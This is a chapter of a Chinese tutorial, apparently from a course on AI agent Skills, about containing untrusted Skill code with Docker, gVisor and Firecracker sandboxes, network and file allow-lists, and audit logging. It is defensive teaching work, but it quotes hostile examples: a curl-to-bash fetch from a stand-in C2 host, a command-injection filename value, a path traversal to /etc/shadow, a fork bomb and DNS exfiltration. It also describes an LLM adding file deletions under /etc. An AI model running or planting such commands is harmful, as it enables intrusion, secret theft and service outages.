5.4. 代码执行沙箱是防止恶意 Skill 的最后防线
代码执行沙箱是防止恶意 Skill 的最后防线
2025 年,一家中型 SaaS 公司的内部平台上线了 Agent Skills 市场。第三周,一名新入职的工程师提交了一个“快捷运维工具” Skill,功能是在线压缩日志文件并上传到对象存储。代码审查只看了主流程。上线后第四天,安全团队收到云账单异常告警:该 Skill 内部藏了一条延迟触发的 subprocess.run("curl http://malicious-c2.example.com/init.sh | bash", shell=True),已经将生产环境容器的 SSH 密钥外传。万幸,当时的 Agent 运行环境是受限的 Docker 沙箱——Skill 无法触达宿主机密钥目录,且出站请求被网络白名单拦截。这次事件被压制成了一纸血淋淋的复盘报告:任何一个注册进来的工具函数都可能成为攻击面,而代码执行沙箱是防止恶意 Skill 造成物理级破坏的最后防线。
Skill 的核心能力是“让 Agent 运行外部代码以扩展智能边界”,但这也意味着它天然携带了来自人类世界的所有代码风险。你不可能靠信任每一个 Skill 作者来保证安全;你必须假设每一段由 LLM 生成或由社区提交的 Skill 代码都是不可信的。于是沙箱——这个在浏览器、云函数、多租户平台中被验证了几十年的老将,就成了 Agent 生态中唯一能让你睡个安稳觉的兜底方案。
典型攻击向量与风险评估
在 Skill 执行环境中,代码注入的向量比传统 Web 应用更隐蔽。我们根据 Skill 的三种典型交互模式(文件操作、命令执行、网络调用)整理出当前威胁格局。
| 攻击类型 | 注入方式示例 | 实际影响 | 风险等级 | 作者的结论 |
|---|---|---|---|---|
| 命令注入 | os.system(f"gzip {user_provided_filename}") 中 filename = "x; curl evil.com/backdoor.sh \| sh" |
宿主机沦陷、数据外泄 | 严重 | 绝不能将用户输入拼接进命令行,必须参数化调用 |
| 文件路径穿越 | with open(f"/var/data/{relative_path}") 中 relative_path = "../../etc/shadow" |
读取任意系统文件、覆盖关键配置 | 高 | 所有文件访问必须在 chroot 或白名单目录内 |
| 恶意依赖注入 | Skill 的 requirements.txt 中引入伪装成合法包名的恶意 PyPI 包 |
代码执行时自动安装后门 | 高 | 构建阶段就应锁定依赖,并在隔离网络下完成包安装 |
| 资源耗尽(DoSing) | while True: os.fork() 或 subprocess.run(":(){ :\|:& };:") |
容器或宿主机 OOM,Agent 服务不可用 | 中 | 硬限制 CPU / 内存 / 进程数,超时强制 kill |
| 隐蔽 exfiltration | 通过 DNS 查询将敏感数据编码后分段发送(如 secretbase64.example.com) |
数据泄露且绕过常规 HTTP 监控 | 中高 | 网络策略应默认阻断所有出站,仅允许白名单域名或 IP |
| 侧信道攻击 | 通过执行时间差异、文件锁状态推测秘钥信息 | 间接泄露内部状态 | 低 | 当前风险较低,可通过固定超时和随机等待时间缓解 |
解读:从当前调研资料看,命令注入和路径穿越仍然是 AI Agent 工具调用中最常见且危害最大的两类问题。其根源在于 LLM 生成代码时缺乏安全上下文,Skill 开发者又常常因为“只是内部工具”而随意拼接字符串。2025 年 Unit42 发布的 AI 代理安全报告明确指出,代理框架引入的工具执行权限如果不用沙箱包裹,相当于把数据库 root 密码写在公开网页上。这一背景下,单纯的代码审查已经无法应对 LLM 的“创造性”破坏——比如在一次安全演练中,某个 Skill 函数接收到“列出 /etc/ 下文件”的任务后,LLM 自行编写了 os.listdir('/etc') 并后续追加了 os.remove 指令——没有任何人类恶意,但结果同样致命。
Docker/微VM 隔离方案:构建牢不可破的“纸箱”
“沙箱”绝不是简单地跑个 Docker。标准的 Docker 容器共享宿主机内核,一个内核漏洞(如 Dirty Pipe)就能让隔离瞬间归零。在 Agent 执行 Skills 的场景下,我们需要的是一个纵深防御体系:从容器化到类虚拟机,再到内核级拦截,层层缩减爆炸半径。
沙箱方案对比
下表对比了四种主流隔离方案在 Skill 执行场景中的表现:
| 方案 | 隔离级别 | 性能开销 | 启动速度 | 适用场景 | 作者的结论 |
|---|---|---|---|---|---|
| 裸 Docker + seccomp/AppArmor 配置 | 进程级隔离,仍共享内核 | 极低 (<2%) | 快 (秒级) | 内部可信 Skill、开发环境 | 必要的最小基线,但不足以对抗未知内核漏洞 |
| Docker + gVisor (runsc) | 用户态内核拦截,系统调用过滤 | 低~中 (5%~15%) | 较快 (1~3秒) | 运行社区 Skill、处理低敏感度数据 | 性价比最高的平衡点,推荐作为默认沙箱 |
| Firecracker microVM | 独立的内核(Linux KVM),硬件虚拟化 | 中 (10%~25%) | 约 125ms | 高安全需求、多租户隔离、金融/医疗数据 | 安全性等同于传统虚拟机,适合生产严苛环境 |
| Kata Containers (Qemu/Firecracker VMM) | 完整 VMM 隔离,OCI 兼容 | 中 (15%~30%) | 稍慢 (100~500ms) | 需要标准容器接口且安全要求极高的场景 | 合规性较强的遗留系统迁移首选 |
纵深配置策略
生产系统中一个更成熟的 Skill 沙箱通常采用“组合拳”:
1. 文件系统白名单
- 每个 Skill 实例挂载一个临时的可写目录和若干只读目录(如共享库、字体等)。
- 使用
seccomp禁止系统调用mount、chroot、pivot_root,防止突破挂载边界。 - 禁止访问
/proc、/sys等敏感伪文件系统,除非明确需要读取如/proc/stat这类无害信息。
2. 网络白名单
- 默认丢弃所有出站流量,仅允许经由预设代理访问允许的外部 API(如特定的 MCP 工具服务器、企业内部镜像源)。
- 禁止 DNS 查询直连外部,全部经过内网缓存 DNS,并监控 DNS 查询模式。
- 禁止监听端口,不允许启动任何网络服务。
3. 资源限制
docker run --rm \
--cpus="1.0" \
--memory="256m" \
--memory-swap="256m" \
--pids-limit=100 \
--ulimit nproc=50:100 \
--ulimit fsize=1000000 \
--network=none \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=64M \
-v /allowed/ro_data:/data:ro \
skill-executor
上述参数将 Skill 执行器牢牢锁死在:最多一个 CPU 核、256MB 内存且禁用 Swap、最多 100 个线程、单文件不超过 1MB、无网络、根文件系统只读、仅 /tmp 可写且不可执行——这几乎是一个没法折腾的笼子。
4. gVisor 作为默认运行时
配置 Docker 默认 Runtime 为 gVisor 可对大部分 Skill 生效,无需修改镜像:
// /etc/docker/daemon.json
{
"default-runtime": "runsc",
"runtimes": {
"runsc": {
"path": "/usr/bin/runsc",
"runtimeArgs": [
"--platform=kvm",
"--network=none"
]
}
}
}
gVisor 在用户态重新实现了约 200 个 Linux 系统调用,即使 Skill 代码利用内核漏洞,也只不过打穿了一个伪造的内核,无法触及宿主机真实内核。结合 KVM 平台可以提供额外的硬件隔离。从当前调研资料看,gVisor 已经经过 Google Cloud 大规模生产验证,是运行不可信代码的成熟选择。
从理论到实践:场景推荐
- 内部开发自测:裸 Docker 加强制 seccomp 配置和只读根目录即可,启动快、调试方便。
- 社区 Skill 市场:所有提交 Skill 自动用 gVisor 启动,持续监控异常系统调用日志。
- 金融、医疗等高密环境:每一个 Skill 执行都落在独立的 Firecracker microVM 中,执行完毕即销毁,不留任何数据库连接串残留。
监控与审计日志:让暗处的动作无所遁形
沙箱负责阻断,日志则是告警和归因的眼睛。一个 Skill 沙箱无论固若金汤,如果执行期间发生了什么你都不知道,那就等于盲人守护金库。
必须记录的三类事件
| 类别 | 具体内容 | 审计价值 | 作者的结论 |
|---|---|---|---|
| 系统调用审计 | 所有被 seccomp 或 gVisor 拦截的非白名单系统调用(如 clone, unshare, ptrace) |
发现提权、容器逃逸企图 | 立即告警并封禁 Skill 来源 |
| 文件访问日志 | 所有打开、读、写、删除操作的完整路径和进程信息 | 回溯数据破坏、敏感文件读取 | 保留至少 90 天,定期生成报表 |
| 网络连接尝试 | DNS 查询、SYN 包目的地址、TLS 握手 SNI | 识别隐蔽信道和外联 C2 | 与威胁情报库对比,异常即阻断 |
实现参考
- 使用
strace或更高效的eBPF探针采集系统调用流,通过auditd转发到集中式日志平台(如 Elasticsearch、Loki)。 - 在 gVisor 中开启
--debug-log和--strace参数获得调用流,结合 K8s sidecar 收集容器日志。 - 为每个 Skill 执行分配唯一
trace_id,串联所有日志,便于事后完整还原一次任务的全生命周期。
一个典型的安全事件链路:某 Skill 尝试写入 /root/.ssh/authorized_keys → seccomp 拒绝 write 调用 → 审计日志捕获 uid、pid、欲写入路径 → 实时触发器发警报到安全频道 → Agent 平台自动将该 Skill 标记为恶意并移除仓库 → 同时生成清晰的事件报告供合规审查。
从当前调研资料看,目前多数 Agent 平台尚未建立完善的审计管道,这是需要工程团队尽快补齐的短板——因为一旦发生事故,唯一能帮你找出“哪个 Skill 在几点几分做了坏事”的就是日志。
最后防线也是第一工程原则
Skill 开发生态的繁荣建立在开放与信任之上,而安全技术的本质是用确定性对抗不确定性。代码执行沙箱就是那个确定性:它不需要猜测代码意图,不需要 LLM 判断善恶,它用资源限制、系统调用拦截、文件系统轻量快照实实在在地捆住 Skill 的手脚。
核心结论:
- 永远假设 Skill 代码不可信,哪怕是自己团队编写的。
- 选择 gVisor 作为默认沙箱 Runtime,在高安全场景中升级为 Firecracker microVM。
- 文件系统和网络必须采用白名单,默认全部禁止。
- 每一次外部调用、每一次文件读写,都必须落入审计日志,并挂载自动告警规则。
- 把沙箱配置写进 CI 流水线,让安全性像单元测试一样可重复、可追溯。
一个能无限扩展的 Agent 生态,首先得是一个不会炸毁自己的生态。在完成攻击面的收缩与隔离后,下一件必须做的事就是给这些受控的 Skills 装上“生命体征检测仪”——下一章《性能监控与日志记录让 Skills 运行透明化》将带你深入指标采集与分布式追踪体系,让每一个 Skill 的运行态不仅安全,而且完全可视、可度量、可优化。
agent skills 入门到精通
关于 LearnKu